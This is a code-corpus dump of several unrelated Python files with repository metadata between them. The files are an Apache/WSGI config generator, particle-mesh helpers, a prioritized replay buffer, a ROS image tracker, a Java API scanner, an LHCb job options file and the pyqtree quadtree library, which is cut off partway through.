path" " to the SSLCACertificateFile"), metavar="CACERT" ) parser.add_argument( "-f", "--force", default=False, action="store_true", dest="force", help="force overwriting of an existing %s file" % context['WSGI_FILE'] ) parser.add_argument( "-H", "--hostname", dest="hostname", help=("Use with the --apache option to define the server's" " hostname (default : %s)") % context['VHOSTNAME'], metavar="HOSTNAME" ) parser.add_argument( "--logdir", dest="logdir", help=("Use with the --apache option to define the path to " "the apache log directory(default : %s)" % context['LOGDIR']), metavar="CACERT" ) parser.add_argument( "-m", "--mail", dest="mail", help=("Use with the --apache option to define the web site" " administrator's email (default : %s)") % context['ADMIN'], metavar="MAIL" ) parser.add_argument( "-n", "--namedhost", default=False, action="store_true", dest="namedhost", help=("Use with the --apache option. The apache vhost " "configuration will work only when accessed with " "the proper hostname (see --hostname).") ) parser.add_argument( "--processes", dest="processes", help=("Use with the --apache option to define the number of " "apache processes (by default the number of cpus +1 which " "is %s on this machine).") % context['PROCESSES'], metavar="PROCESSES" ) parser.add_argument( "-p", "--project", dest="project", help=("Use with the --apache option to define the project " "name (default : %s)") % context['PROJECT_NAME'], metavar="PROJECT" ) parser.add_argument( "-s", "--ssl", default=False, action="store_true", dest="ssl", help=("Use with the --apache option. The apache vhost " "configuration will use an SSL configuration") ) parser.add_argument( "--sslcert", dest="sslcert", help=("Use with the --apache and --ssl option to define " "the path to the SSLCertificateFile (default : %s)" ) % context['SSLCERT'], metavar="SSLCERT" ) parser.add_argument( "--sslkey", dest="sslkey", help=("Use with the --apache and --ssl option to define " "the path to the SSLCertificateKeyFile " "(default : %s)") % context['SSLKEY'], metavar="SSLKEY" ) parser.add_argument( "--apache-version", dest="apache_version", type=float, help=("Use with the --apache option to define the apache " "major (as a floating point number) version " "(default : %s)." % context['APACHE2_VERSION']), metavar="APACHE_VERSION" ) parser.add_argument( "-w", "--wsgi", default=False, action="store_true", dest="wsgi", help="generate the horizon.wsgi file" ) def handle(self, *args, **options): force = options.get('force') context['SSL'] = options.get('ssl') if options.get('mail'): context['ADMIN'] = options['mail'] if options.get('cacert'): context['CACERT'] = options['cacert'] if options.get('logdir'): context['LOGDIR'] = options['logdir'].rstrip('/') if options.get('processes'): context['PROCESSES'] = options['processes'] if options.get('project'): context['PROJECT_NAME'] = options['project'] if options.get('hostname'): context['VHOSTNAME'] = options['hostname'] if options.get('sslcert'): context['SSLCERT'] = options['sslcert'] if options.get('sslkey'): context['SSLKEY'] = options['sslkey'] if options.get('apache_version'): context['APACHE2_VERSION'] = options['apache_version'] if options.get('namedhost'): context['NAMEDHOST'] = context['VHOSTNAME'] else: context['NAMEDHOST'] = '*' # Generate the WSGI. if options.get('wsgi'): with open( os.path.join(CURDIR, 'horizon.wsgi.template'), 'r' ) as fp: wsgi_template = template.Template(fp.read()) if not os.path.exists(context['WSGI_FILE']) or force: with open(context['WSGI_FILE'], 'w') as fp: fp.write(wsgi_template.render(context)) print('Generated "%s"' % context['WSGI_FILE']) else: sys.exit('"%s" already exists, use --force to overwrite' % context['WSGI_FILE']) # Generate the apache configuration. elif options.get('apache'): # first check if custom wsgi file exists, if not, use default: if not os.path.exists(context['WSGI_FILE']): context['WSGI_FILE'] = context['DEFAULT_WSGI_FILE'] with open( os.path.join(CURDIR, 'apache_vhost.conf.template'), 'r' ) as fp: wsgi_template = template.Template(fp.read()) sys.stdout.write(wsgi_template.render(context)) else: self.print_help('manage.py', cmd_name)

35.203593

78

0.58743

7,199

0.612264

0

5,162

0.43902

a1fe9f599cc2d428cbcc60b9598dd9359a4d7d5f

1,107

py

Python

codes/convergence_elasticity_advection/meshManager.py

adRenaud/research

2f0062a1800d7a17577bbfc2393b084253d567f4

[ "MIT" ]

1

2021-06-18T14:52:03.000Z

codes/convergence_elasticity/meshManager.py

adRenaud/research

2f0062a1800d7a17577bbfc2393b084253d567f4

[ "MIT" ]

1

2019-01-07T13:11:11.000Z

codes/convergence_elasticity_advection/meshManager.py

adRenaud/research

2f0062a1800d7a17577bbfc2393b084253d567f4

[ "MIT" ]

null

# !/usr/bin/python import numpy as np import math as m def buildMesh(Mp,l,ppc): # Mesh built by giving : # 1-Number of elements in x-direction # 2-Length of meshed domain # 3-Number of particle per cell nex = Mp/ppc nnx=nex+1 lmp=l/(Mp-1) dx = ppc*l/nex xn = np.linspace(-lmp/2,l+lmp/2,nex+1) connect = np.array([np.arange(0,nnx-1,1),np.arange(1,nnx,1)]).T return xn,connect def bar(x1,x2,Mp): xp=np.zeros((Mp,2)) xp[:,0]=np.linspace(x1,x2,Mp) return xp def circle(c,r,nr,nt): pi=m.pi xp=np.zeros(((nr-1)*nt + 1,2)) xp[0,:]=np.array([0,0]) dr=r/(nr-1) dt=2.*pi/nt count=1 for t in range(nt): for r in range(nr-1): xp[count,:]=np.array([(r+1)*dr*m.cos(t*dt),(r+1)*dr*m.sin(t*dt)]) count+=1 xp[:]+=c return xp def rectangle(x0,Nx,Ny,lx,ly): xp=np.zeros((Nx*Ny,2)) dx=lx/(Nx-1) if Ny!=1: dy=ly/(Ny-1) else : dy=0 for iy in range(Ny): for ix in range(Nx): xp[iy*Nx + ix,0]=x0[0]+ix*dx xp[iy*Nx + ix,1]=x0[1]+iy*dy return xp

22.14

76

0.532972

0

137

0.123758

a1fedb42ea7da198208259c1cf29d8481af7dd8f

3,202

py

Python

exarl/agents/agent_vault/_prioritized_replay.py

schr476/EXARL

7f4596bd8b3d7960aaf52bc677ceac4f37029834

[ "BSD-3-Clause" ]

2

2022-02-03T20:33:17.000Z

2022-02-10T22:43:32.000Z

exarl/agents/agent_vault/_prioritized_replay.py

schr476/EXARL

7f4596bd8b3d7960aaf52bc677ceac4f37029834

[ "BSD-3-Clause" ]

40

2022-01-25T18:03:12.000Z

2022-03-31T21:43:32.000Z

exarl/agents/agent_vault/_prioritized_replay.py

schr476/EXARL

7f4596bd8b3d7960aaf52bc677ceac4f37029834

[ "BSD-3-Clause" ]

1

2022-02-10T14:33:30.000Z

import random import numpy as np import tensorflow as tf from collections import deque class PrioritizedReplayBuffer(): """ Class implements Prioritized Experience Replay (PER) """ def __init__(self, maxlen): """ PER constructor Args: maxlen (int): buffer length """ self.maxlen = None if maxlen == "none" else maxlen self.buffer = deque(maxlen=self.maxlen) self.priorities = deque(maxlen=self.maxlen) def add(self, experience): """ Add experiences to buffer Args: experience (list): state, action, reward, next_state, done Returns: full_buffer (done): True if buffer is full """ full_buffer = len(self.buffer) == self.maxlen self.buffer.append(experience) self.priorities.append(max(self.priorities, default=1)) return full_buffer def get_probabilities(self, priority_scale): """ Get probabilities for experiences Args: priority_scale (float64): range [0, 1] Returns: sample_probabilities (numpy array): probabilities assigned to experiences based on weighting factor (scale) """ scaled_priorities = np.array(self.priorities) ** priority_scale sample_probabilities = scaled_priorities / sum(scaled_priorities) return sample_probabilities def get_importance(self, probabilities): """ Compute importance Args: probabilities (numpy array): experience probabilities Returns: importance_normalized (numpy array): normalized importance """ importance = 1 / len(self.buffer) * 1 / probabilities importance_normalized = importance / max(importance) return importance_normalized def sample(self, batch_size, priority_scale=1.0): """ Sample experiences Args: batch_size (int): size of batch priority_scale (float, optional): range = [0, 1]. Defaults to 1.0. Returns: samples (list): sampled based on probabilities importance (numpy array): Importance of samples sample_indices (array): Indices of samples """ sample_size = min(len(self.buffer), batch_size) sample_probs = self.get_probabilities(priority_scale) sample_indices = random.choices(range(len(self.buffer)), k=sample_size, weights=sample_probs) samples = np.array(self.buffer, dtype=object)[sample_indices] importance = self.get_importance(sample_probs[sample_indices]) return samples, importance, sample_indices def set_priorities(self, indices, errors, offset=0.1): """ Set priorities to experiences Args: indices (array): sample indices errors (array): corresponding losses offset (float, optional): Small offset. Defaults to 0.1. """ for i, e in zip(indices, errors): self.priorities[int(i)] = abs(e) + offset def get_buffer_length(self): """ Get buffer length Returns: (int): buffer length """ return len(self.buffer)

32.673469

119

0.628045

3,112

0.971893

0

1,483

0.463148

b8009f8fd07294eb10166608312734f91397abd7

5,722

py

Python

rmtt_tracker/scripts/roi_tracker.py

cavayangtao/rmtt_ros

e89383510373e9ff9c8bb5c43ae719ca575ef2f5

[ "BSD-3-Clause" ]

null

rmtt_tracker/scripts/roi_tracker.py

cavayangtao/rmtt_ros

e89383510373e9ff9c8bb5c43ae719ca575ef2f5

[ "BSD-3-Clause" ]

null

rmtt_tracker/scripts/roi_tracker.py

cavayangtao/rmtt_ros

e89383510373e9ff9c8bb5c43ae719ca575ef2f5

[ "BSD-3-Clause" ]

null

#!/usr/bin/python3 # coding=utf-8 # 环境准备：pip install opencv_contrib_python # 输入话题：tianbot_mini/image_raw/compressed # 输出话题：roi import sys import os import rospy import sensor_msgs.msg from cv_bridge import CvBridge import cv2 import numpy as np from sensor_msgs.msg import RegionOfInterest as ROI from sensor_msgs.msg import CompressedImage br = CvBridge() class MessageItem(object): # 用于封装信息的类,包含图片和其他信息 def __init__(self,frame,message): self._frame = frame self._message = message def getFrame(self): # 图片信息 return self._frame def getMessage(self): #文字信息,json格式 return self._message class Tracker(object): ''' 追踪者模块,用于追踪指定目标 ''' def __init__(self, tracker_type="TLD", draw_coord=True): ''' 初始化追踪器种类 ''' # 获得opencv版本 (major_ver, minor_ver, subminor_ver) = (cv2.__version__).split('.') self.tracker_types = ['BOOSTING', 'MIL', 'KCF', 'TLD', 'MEDIANFLOW', 'GOTURN', "CSRT"] self.tracker_type = tracker_type self.isWorking = False self.draw_coord = draw_coord # 构造追踪器 if int(major_ver) < 3: self.tracker = cv2.Tracker_create(tracker_type) else: if tracker_type == 'BOOSTING': self.tracker = cv2.TrackerBoosting_create() if tracker_type == 'MIL': self.tracker = cv2.TrackerMIL_create() if tracker_type == 'KCF': self.tracker = cv2.TrackerKCF_create() if tracker_type == 'TLD': self.tracker = cv2.TrackerTLD_create() if tracker_type == 'MEDIANFLOW': self.tracker = cv2.TrackerMedianFlow_create() if tracker_type == 'GOTURN': self.tracker = cv2.TrackerGOTURN_create() if tracker_type == "CSRT": self.tracker = cv2.TrackerCSRT_create() def initWorking(self, frame, box): ''' 追踪器工作初始化 frame:初始化追踪画面 box:追踪的区域 ''' if not self.tracker: raise Exception("追踪器未初始化") status = self.tracker.init(frame, box) if not status: raise Exception("追踪器工作初始化失败") self.coord = box self.isWorking = True def track(self, frame): ''' 开启追踪 ''' message = None if self.isWorking: status, self.coord = self.tracker.update(frame) if status: message = {"coord": [((int(self.coord[0]), int(self.coord[1])), (int(self.coord[0] + self.coord[2]), int(self.coord[1] + self.coord[3])))]} if self.draw_coord: p1 = (int(self.coord[0]), int(self.coord[1])) p2 = (int(self.coord[0] + self.coord[2]), int(self.coord[1] + self.coord[3])) cv2.rectangle(frame, p1, p2, (255, 0, 0), 2, 1) message['msg'] = self.tracker_type + " is tracking" # 更新ROI if (int(self.coord[0]) <0 or int(self.coord[1]) <0): tld_roi.x_offset = 0 tld_roi.y_offset = 0 tld_roi.width = 0 tld_roi.height = 0 else: tld_roi.x_offset = int(self.coord[0]) tld_roi.y_offset = int(self.coord[1]) tld_roi.width = int(self.coord[2]) tld_roi.height = int(self.coord[3]) # 发布ROI pub.publish(tld_roi) return MessageItem(frame, message) def compressed_detect_and_draw(compressed_imgmsg): global br,gFrame,gCapStatus,getFrame,loopGetFrame if ((getFrame == True) or (loopGetFrame == True)): gFrame = br.compressed_imgmsg_to_cv2(compressed_imgmsg, "bgr8") gCapStatus = True getFrame = True gFrame = np.zeros((640,640,3), np.uint8) gCapStatus = False getFrame = True loopGetFrame = False if __name__ == '__main__': rospy.init_node('tbm_tld_tracker_node') rospy.Subscriber("/image_raw", sensor_msgs.msg.CompressedImage, compressed_detect_and_draw) pub = rospy.Publisher("roi",ROI,queue_size=10) tld_roi = ROI() # rate = rospy.Rate(10) # rate.sleep() # 选择框选帧 print("按 n 渲染下一帧，按 y 设定当前帧作为ROI区域选择帧") while True: _key = cv2.waitKey(0) & 0xFF if(_key == ord('n')): # gCapStatus,gFrame = gVideoDevice.read() getFrame = True if(_key == ord('y')): break cv2.imshow("Pick frame",gFrame) # 框选感兴趣区域region of interest cv2.destroyWindow("Pick frame") gROI = cv2.selectROI("ROI frame",gFrame,False) if (not gROI): print("空框选，退出") quit() # 初始化追踪器 gTracker = Tracker(tracker_type="TLD") gTracker.initWorking(gFrame,gROI) # 循环帧读取，开始跟踪 while not rospy.is_shutdown(): # gCapStatus, gFrame = gVideoDevice.read() loopGetFrame = True if(gCapStatus): # 展示跟踪图片 _item = gTracker.track(gFrame) cv2.imshow("Track result",_item.getFrame()) if _item.getMessage(): # 打印跟踪数据 print(_item.getMessage()) _key = cv2.waitKey(1) & 0xFF if (_key == ord('q')) | (_key == 27): break if (_key == ord('r')) : # 用户请求用初始ROI print("用户请求用初始ROI") gTracker = Tracker(tracker_type="TLD") gTracker.initWorking(gFrame, gROI) else: print("捕获帧失败") quit()

31.097826

113

0.54072

3,535

0.577049

0

1,303

0.2127

b80101fcb0f7ec764004534f9989b58dc2d327bf

4,236

py

Python

api-scanner/method_analysis_job.py

ybqdren/Python-JavaAPI-Scanner

69e2de07c95a8edf526dfb4b8eb14deec5693061

[ "Apache-2.0" ]

null

api-scanner/method_analysis_job.py

ybqdren/Python-JavaAPI-Scanner

69e2de07c95a8edf526dfb4b8eb14deec5693061

[ "Apache-2.0" ]

null

api-scanner/method_analysis_job.py

ybqdren/Python-JavaAPI-Scanner

69e2de07c95a8edf526dfb4b8eb14deec5693061

[ "Apache-2.0" ]

null

# -*- coding:utf-8 -*- # @Author: ZhaoWen <withzhaowen@126.com> # @Date: 2021/1/2 # @GiteePath: https://gitee.com/openeuler2020/team-1186152014 from method_analysis_utils.scanner import get_scanner,token_type import os import logging.config from method_analysis_utils.complier import get_complier # 配置日志 logging.config.fileConfig('logging.conf') logger = logging.getLogger() def comfig_complier(): ''' 装配complier :return: 返回一个配置好的解析器 ''' c = get_complier() return c def config_scanner(): ''' 装配scanner :return: a value named s,type is scanner 返回一个配置好的扫描器 ''' s = get_scanner() # 初始化对象 s.method_list = [] s.left_single = 0 s.right_single = 0 # 1.方法名 method_name_token [a-zA-Z]+（虽然方法有诸如大驼峰小驼峰之类的命名规范但是有可能会有意外） # 2.方法参数 param_token ^[(][a-zA-Z0-9.png$\s,<A-Z>]+[)] -> (Properties prop1,Properties prop2) # 3.返回值类型 return_type_token 基本数据类型|自定义对象或者原生的对象|集合|void|泛型（最简单的方法头一定都会标注返回类型) # 4.方法花括号 end_token { -> 方法头结束的标志也是判别一行是否为方法的重要标识 # 判断是否为为访问控制标识符 access_token = token_type("access_token","default|public|protected|private") # 判断是否为关键字 key_token = token_type("key_token","final|abstract|static|synchronized") # 判断是否还有下一行 next_token = token_type("next_token","[//]+") # 判断是否为下一行类别的方法 next_method_token = token_type("next_method_token","([a-zA-Z]+)\).*{") # 判断是否为必要token imp_token = token_type("imp_token","(.*)([a-zA-Z]+)(\s){0,}($.*$)[a-zA-Z\s]{0,}{") # 判断是否为无关字符使用代码即可完成无需再使用正则 invalid_token = token_type("invalid_token",".*") # 判断是否为接口 interface_token = token_type("interface_token","\s(interface)\s|\s(@interface)\s") # 是否为类 class_token = token_type("class_token","(class)\s(.*){(.*)") # 是否为包信息 package_token = token_type("package_token","^package") # 是否为{ left_single_token = token_type("left_single_token","(.*){(.*)") # 是否为} right_single_token = token_type("right_Single_token","(.*)}(.*)") # {} 同时存在 all_single_token = token_type("all_single_token","(.*)}(.*){(.*)") token_type_dict = {"access_token":access_token, "key_token":key_token, "next_token":next_token, "next_method_token":next_method_token, "imp_token":imp_token, "invalid_token":invalid_token, "interface_token":interface_token, "class_token":class_token, "package_token":package_token, "left_single_token":left_single_token, "right_single_token":right_single_token, "all_single_token":all_single_token } s.set_token_type(token_type_dict) return s def job_start(path): ''' API分析工具开始入口 :return: 外部可访问API与外部不可访问API集合 ''' s = config_scanner() isClass = False ###### 开始扫描源代码 ####### s.read_file(path) method_list = s.find_method() # 判断method_list.pop(-1)为True还是False if method_list.pop(-1): isClass = True for m in method_list: logging.info(m) logger.info("总共提取到：(" + str(len(method_list)) + ") 行") else: logging.info("不是待提取文件") s.close_file() ########################### ####开始解析提取到的方法头 #### c = comfig_complier() # 定义两个列表一个用来装外部可访问的方法另一个用来装外部不能访问到的方法 public_list = [] unpublic_list = [] info_list = [] c.complier_start() for i in method_list: if type(i) != dict: if c.complier_method(i): public_list.append(i) logger.info("public -> "+i) else: unpublic_list.append(i) logger.info("unpublic -> "+i) else: try: info_list.append(i["package"].replace(";", "").strip()) info_list.append(i["class"].replace("{", "").strip()) except KeyError as e: logging.info(str(type(e))+"......"+str(e.args)) c.complier_close() ########################### # 文件类信息 | 外部可访问API列表 | 内部可访问API列表 | 是否为可提取的类文件（非接口文件之类） return [info_list,public_list,unpublic_list,isClass]

28.24

96

0.581681

0

2,471

0.494596

b8014951415d289b10583d9f4dc51aea80536fbd

4,905

py

Python

ksteta3pi/Consideredbkg/MC_12_11134011_MagUp.py

Williams224/davinci-scripts

730642d2ff13543eca4073a4ce0932631195de56

[ "MIT" ]

null

ksteta3pi/Consideredbkg/MC_12_11134011_MagUp.py

Williams224/davinci-scripts

730642d2ff13543eca4073a4ce0932631195de56

[ "MIT" ]

null

ksteta3pi/Consideredbkg/MC_12_11134011_MagUp.py

Williams224/davinci-scripts

730642d2ff13543eca4073a4ce0932631195de56

[ "MIT" ]

null

#-- GAUDI jobOptions generated on Mon Jul 20 10:20:49 2015 #-- Contains event types : #-- 11134011 - 42 files - 900254 events - 251.92 GBytes #-- Extra information about the data processing phases: #-- Processing Pass Step-125836 #-- StepId : 125836 #-- StepName : Stripping20-NoPrescalingFlagged for Sim08 - Implicit merging. #-- ApplicationName : DaVinci #-- ApplicationVersion : v32r2p1 #-- OptionFiles : $APPCONFIGOPTS/DaVinci/DV-Stripping20-Stripping-MC-NoPrescaling.py;$APPCONFIGOPTS/DaVinci/DataType-2012.py;$APPCONFIGOPTS/DaVinci/InputType-DST.py;$APPCONFIGOPTS/Persistency/Compression-ZLIB-1.py #-- DDDB : fromPreviousStep #-- CONDDB : fromPreviousStep #-- ExtraPackages : AppConfig.v3r164 #-- Visible : Y #-- Processing Pass Step-127969 #-- StepId : 127969 #-- StepName : Reco14c for MC - 2012 #-- ApplicationName : Brunel #-- ApplicationVersion : v43r2p11 #-- OptionFiles : $APPCONFIGOPTS/Brunel/DataType-2012.py;$APPCONFIGOPTS/Brunel/MC-WithTruth.py;$APPCONFIGOPTS/Persistency/DST-multipleTCK-2012.py;$APPCONFIGOPTS/Persistency/Compression-ZLIB-1.py #-- DDDB : fromPreviousStep #-- CONDDB : fromPreviousStep #-- ExtraPackages : AppConfig.v3r218 #-- Visible : Y from Gaudi.Configuration import * from GaudiConf import IOHelper IOHelper('ROOT').inputFiles(['LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00046297/0000/00046297_00000001_2.AllStreams.dst', 'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00046297/0000/00046297_00000002_2.AllStreams.dst', 'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00046297/0000/00046297_00000003_2.AllStreams.dst', 'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00046297/0000/00046297_00000004_2.AllStreams.dst', 'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00046297/0000/00046297_00000005_2.AllStreams.dst', 'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00046297/0000/00046297_00000006_2.AllStreams.dst', 'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00046297/0000/00046297_00000007_2.AllStreams.dst', 'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00046297/0000/00046297_00000008_2.AllStreams.dst', 'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00046297/0000/00046297_00000009_2.AllStreams.dst', 'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00046297/0000/00046297_00000010_2.AllStreams.dst', 'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00046297/0000/00046297_00000011_2.AllStreams.dst', 'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00046297/0000/00046297_00000012_2.AllStreams.dst', 'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00046297/0000/00046297_00000013_2.AllStreams.dst', 'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00046297/0000/00046297_00000014_2.AllStreams.dst', 'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00046297/0000/00046297_00000015_2.AllStreams.dst', 'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00046297/0000/00046297_00000016_2.AllStreams.dst', 'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00046297/0000/00046297_00000017_2.AllStreams.dst', 'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00046297/0000/00046297_00000018_2.AllStreams.dst', 'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00046297/0000/00046297_00000019_2.AllStreams.dst', 'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00046297/0000/00046297_00000020_2.AllStreams.dst', 'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00046297/0000/00046297_00000021_2.AllStreams.dst', 'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00046297/0000/00046297_00000022_2.AllStreams.dst', 'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00046297/0000/00046297_00000023_2.AllStreams.dst', 'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00046297/0000/00046297_00000024_2.AllStreams.dst', 'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00046297/0000/00046297_00000025_2.AllStreams.dst', 'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00046297/0000/00046297_00000026_2.AllStreams.dst', 'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00046297/0000/00046297_00000027_2.AllStreams.dst', 'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00046297/0000/00046297_00000029_2.AllStreams.dst', 'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00046297/0000/00046297_00000030_2.AllStreams.dst', 'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00046297/0000/00046297_00000031_2.AllStreams.dst', 'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00046297/0000/00046297_00000032_2.AllStreams.dst', 'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00046297/0000/00046297_00000033_2.AllStreams.dst', 'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00046297/0000/00046297_00000034_2.AllStreams.dst', 'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00046297/0000/00046297_00000035_2.AllStreams.dst', 'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00046297/0000/00046297_00000036_2.AllStreams.dst', 'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00046297/0000/00046297_00000037_2.AllStreams.dst', 'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00046297/0000/00046297_00000038_2.AllStreams.dst', 'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00046297/0000/00046297_00000039_2.AllStreams.dst', 'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00046297/0000/00046297_00000040_2.AllStreams.dst', 'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00046297/0000/00046297_00000041_2.AllStreams.dst', 'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00046297/0000/00046297_00000042_2.AllStreams.dst', 'LFN:/lhcb/MC/2012/ALLSTREAMS.DST/00046297/0000/00046297_00000043_2.AllStreams.dst' ], clear=True)

62.088608

215

0.798777

0

4,685

0.955148

b801fafbe89ab89d0893778ef60e2212843497d8

12,257

py

Python

pyqtree.py

GuillemHerrera/Pyqtree

4f8491ba543ec26b6bf9272ee3e2f0f455eff259

[ "MIT" ]

null

pyqtree.py

GuillemHerrera/Pyqtree

4f8491ba543ec26b6bf9272ee3e2f0f455eff259

[ "MIT" ]

null

pyqtree.py

GuillemHerrera/Pyqtree

4f8491ba543ec26b6bf9272ee3e2f0f455eff259

[ "MIT" ]

null

""" # Pyqtree Pyqtree is a pure Python spatial index for GIS or rendering usage. It stores and quickly retrieves items from a 2x2 rectangular grid area, and grows in depth and detail as more items are added. The actual quad tree implementation is adapted from [Matt Rasmussen's compbio library](https://github.com/mdrasmus/compbio/blob/master/rasmus/quadtree.py) and extended for geospatial use. ## Platforms Python 2 and 3. ## Dependencies Pyqtree is written in pure Python and has no dependencies. ## Installing It Installing Pyqtree can be done by opening your terminal or commandline and typing: pip install pyqtree Alternatively, you can simply download the "pyqtree.py" file and place it anywhere Python can import it, such as the Python site-packages folder. ## Example Usage Start your script by importing the quad tree. from pyqtree import Index Setup the spatial index, giving it a bounding box area to keep track of. The bounding box being in a four-tuple: (xmin, ymin, xmax, ymax). spindex = Index(bbox=(0, 0, 100, 100)) Populate the index with items that you want to be retrieved at a later point, along with each item's geographic bbox. # this example assumes you have a list of items with bbox attribute for item in items: spindex.insert(item, item.bbox) Then when you have a region of interest and you wish to retrieve items from that region, just use the index's intersect method. This quickly gives you a list of the stored items whose bboxes intersects your region of interests. overlapbbox = (51, 51, 86, 86) matches = spindex.intersect(overlapbbox) There are other things that can be done as well, but that's it for the main usage! ## More Information: - [Home Page](http://github.com/karimbahgat/Pyqtree) - [API Documentation](https://karimbahgat.github.io/Pyqtree/) ## License: This code is free to share, use, reuse, and modify according to the MIT license, see LICENSE.txt. ## Credits: - Karim Bahgat - Joschua Gandert """ __version__ = "1.0.0" #PYTHON VERSION CHECK import sys PYTHON3 = int(sys.version[0]) == 3 if PYTHON3: xrange = range def _normalize_rect(rect): if len(rect) == 2: x1, y1 = rect x2, y2 = rect else: x1, y1, x2, y2 = rect if x1 > x2: x1, x2 = x2, x1 if y1 > y2: y1, y2 = y2, y1 return (x1, y1, x2, y2) def _loopallchildren(parent): for child in parent.children: if child.children: for subchild in _loopallchildren(child): yield subchild yield child class _QuadNode(object): def __init__(self, item, rect): self.item = item self.rect = rect def __eq__(self, other): return self.item == other.item and self.rect == other.rect def __hash__(self): return hash(self.item) class _QuadTree(object): """ Internal backend version of the index. The index being used behind the scenes. Has all the same methods as the user index, but requires more technical arguments when initiating it than the user-friendly version. """ def __init__(self, x, y, width, height, max_items, max_depth, _depth=0, fid=0): self.nodes = [] self.children = [] self.center = (x, y) self.width, self.height = width, height self.max_items = max_items self.max_depth = max_depth self._depth = _depth self.fid = fid def __iter__(self): for child in _loopallchildren(self): yield child def _insert(self, item, bbox): rect = _normalize_rect(bbox) if len(self.children) == 0: node = _QuadNode(item, rect) self.nodes.append(node) if len(self.nodes) > self.max_items and self._depth < self.max_depth: self._split() else: self._insert_into_children(item, rect) def _remove(self, item, bbox): rect = _normalize_rect(bbox) if len(self.children) == 0: node = _QuadNode(item, rect) self.nodes.remove(node) else: self._remove_from_children(item, rect) def _intersect(self, rect, results=None, uniq=None): if results is None: rect = _normalize_rect(rect) results = [] uniq = set() # search children if self.children: if rect[0] <= self.center[0]: if rect[1] <= self.center[1]: self.children[0]._intersect(rect, results, uniq) if rect[3] >= self.center[1]: self.children[1]._intersect(rect, results, uniq) if rect[2] >= self.center[0]: if rect[1] <= self.center[1]: self.children[2]._intersect(rect, results, uniq) if rect[3] >= self.center[1]: self.children[3]._intersect(rect, results, uniq) # search node at this level for node in self.nodes: _id = id(node.item) if (_id not in uniq and node.rect[2] >= rect[0] and node.rect[0] <= rect[2] and node.rect[3] >= rect[1] and node.rect[1] <= rect[3]): results.append(node.item) uniq.add(_id) return results def _insert_into_children(self, item, rect): # if rect spans center then insert here if (rect[0] <= self.center[0] and rect[2] >= self.center[0] and rect[1] <= self.center[1] and rect[3] >= self.center[1]): node = _QuadNode(item, rect) self.nodes.append(node) else: # try to insert into children if rect[0] <= self.center[0]: if rect[1] <= self.center[1]: self.children[0]._insert(item, rect) if rect[3] >= self.center[1]: self.children[1]._insert(item, rect) if rect[2] > self.center[0]: if rect[1] <= self.center[1]: self.children[2]._insert(item, rect) if rect[3] >= self.center[1]: self.children[3]._insert(item, rect) def _remove_from_children(self, item, rect): # if rect spans center then insert here if (rect[0] <= self.center[0] and rect[2] >= self.center[0] and rect[1] <= self.center[1] and rect[3] >= self.center[1]): node = _QuadNode(item, rect) self.nodes.remove(node) else: # try to remove from children if rect[0] <= self.center[0]: if rect[1] <= self.center[1]: self.children[0]._remove(item, rect) if rect[3] >= self.center[1]: self.children[1]._remove(item, rect) if rect[2] > self.center[0]: if rect[1] <= self.center[1]: self.children[2]._remove(item, rect) if rect[3] >= self.center[1]: self.children[3]._remove(item, rect) def _split(self): quartwidth = self.width / 4.0 quartheight = self.height / 4.0 halfwidth = self.width / 2.0 halfheight = self.height / 2.0 x1 = self.center[0] - quartwidth x2 = self.center[0] + quartwidth y1 = self.center[1] - quartheight y2 = self.center[1] + quartheight new_depth = self._depth + 1 self.children = [_QuadTree(x1, y1, halfwidth, halfheight, self.max_items, self.max_depth, new_depth, f'{self.fid}3'), _QuadTree(x1, y2, halfwidth, halfheight, self.max_items, self.max_depth, new_depth, f'{self.fid}0'), _QuadTree(x2, y1, halfwidth, halfheight, self.max_items, self.max_depth, new_depth, f'{self.fid}2'), _QuadTree(x2, y2, halfwidth, halfheight, self.max_items, self.max_depth, new_depth, f'{self.fid}1')] nodes = self.nodes self.nodes = [] for node in nodes: self._insert_into_children(node.item, node.rect) def __len__(self): """ Returns: - A count of the total number of members/items/nodes inserted into this quadtree and all of its child trees. """ size = 0 for child in self.children: size += len(child) size += len(self.nodes) return size MAX_ITEMS = 10 MAX_DEPTH = 20 class Index(_QuadTree): """ The top spatial index to be created by the user. Once created it can be populated with geographically placed members that can later be tested for intersection with a user inputted geographic bounding box. Note that the index can be iterated through in a for-statement, which loops through all all the quad instances and lets you access their properties. Example usage: >>> spindex = 